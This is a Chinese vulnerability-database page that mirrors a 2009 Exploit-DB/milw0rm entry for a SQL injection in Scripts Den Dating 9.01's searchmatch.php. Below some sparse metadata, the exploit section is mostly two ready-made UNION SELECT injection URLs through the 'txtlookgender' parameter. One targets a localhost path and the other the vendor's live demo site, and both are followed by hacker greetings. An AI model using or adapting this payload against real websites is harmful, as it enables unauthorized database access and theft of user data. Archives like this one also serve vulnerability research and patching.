Den Dating 9.01 - 'txtlookgender' SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057447 漏洞类型
发布时间 2009-02-11 更新时间 2009-02-11
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/8044
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#Scripts Den Dating Demo V9.01(searchmatch.php) SQL Injection Vulnerability


#Author: nuclear


#site:
http://www.scriptsden.com


#SQL vuln:
http://localhost/[path]/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F') union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=


#demo:
http://www.scriptsden.com/dating/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F%27)%20union%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=


#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-02-11]